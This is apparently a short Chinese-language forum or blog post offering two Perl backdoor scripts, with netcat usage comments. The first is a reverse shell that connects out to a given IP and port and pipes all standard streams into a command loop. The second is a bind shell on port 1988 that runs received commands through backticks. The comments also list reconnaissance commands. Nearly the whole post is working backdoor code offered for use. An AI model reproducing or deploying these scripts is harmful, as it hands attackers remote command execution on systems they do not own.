perl后门,正向和反向!

都是使用nc监听！

反向连接代码：

 1. #!/usr/bin/perl
 2. #usage:
 3. #nc -vv -l -p PORT(default 1988) on your local system first,then
 4. #Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)
 5. #Type 'exit' to exit or press Enter to gain shell when u under the 'console'.
 6. #nc -vv -l -p 1988
 7. #perl backdoor.pl 127.0.0.1 1988
 8.
 9. #use strict;
 10. use Socket;
 11. use IO::Socket;
 12. use Cwd;
 13. use IO::Handle;
 14. my $remote = $ARGV[0]|| "127.0.0.1";
 15. my $remote_port = $ARGV[1]|| 1988;
 16. my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote));
 17. my $path = cwd();
 18. $ARGC = @ARGV;
 19. if ($ARGV[0]!~/-/)
 20. {
 21. socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp')) or die "socket error: ";
 22. STDOUT->autoflush(1);
 23. SOCKET->autoflush(1);
 24. $conn=connect(SOCKET,$pack_addr)||die "connection error : $!";
 25. open STDIN,">&SOCKET";
 26. open STDOUT,">&SOCKET";
 27. open STDERR,">&SOCKET";
 28. print "You are in $path\n";
 29. print "Welcome to use.\n";
 30. print "console>\n";
 31.
 32. while (<STDIN>) {
 33. chomp;
 34. if( lc($_) eq 'exit' ) {
 35. print " Bye Bye!";
 36. exit;
 37. }
 38. $msg=system($_);
 39. if($msg){
 40. print STDOUT "\n$msg\n";
 41. print STDOUT "console>";
 42. }else
 43. {
 44. print "console>";
 45. }
 46. }
 47. close SOCKET;
 48. exit;
 49. }

正向连接代码：

 1. #!/usr/bin/perl
 2. #ActivePerl 5.8.8 Build 822
 3. #usage:
 4. #first:perl backdoor2c.pl
 5. #second:nc -vv 127.0.0.1 1988
 6. #net user
 7. #ipconfig /all
 8. #netstat -anb
 9. use IO::Socket;
 10. $port = "1988";
 11. my $socket = new IO::Socket::INET ( 'Localhost'=>'127.0.0.1' ,
 12. 'LocalPort'=>$port ,
 13. 'Listen'=>1 ,
 14. 'Proto'=>'tcp' ,
 15. 'Reuse'=>1 );
 16. die "Reason: $!" unless $socket;
 17. while (my $new_socket = $socket->accept()) {
 18. while (my $buffer=<$new_socket> ){
 19. if ($buffer=~/exit/) {exit;}
 20. $res_msg=`$buffer`;
 21. print $new_socket "$res_msg\ncmd>";
 22. }}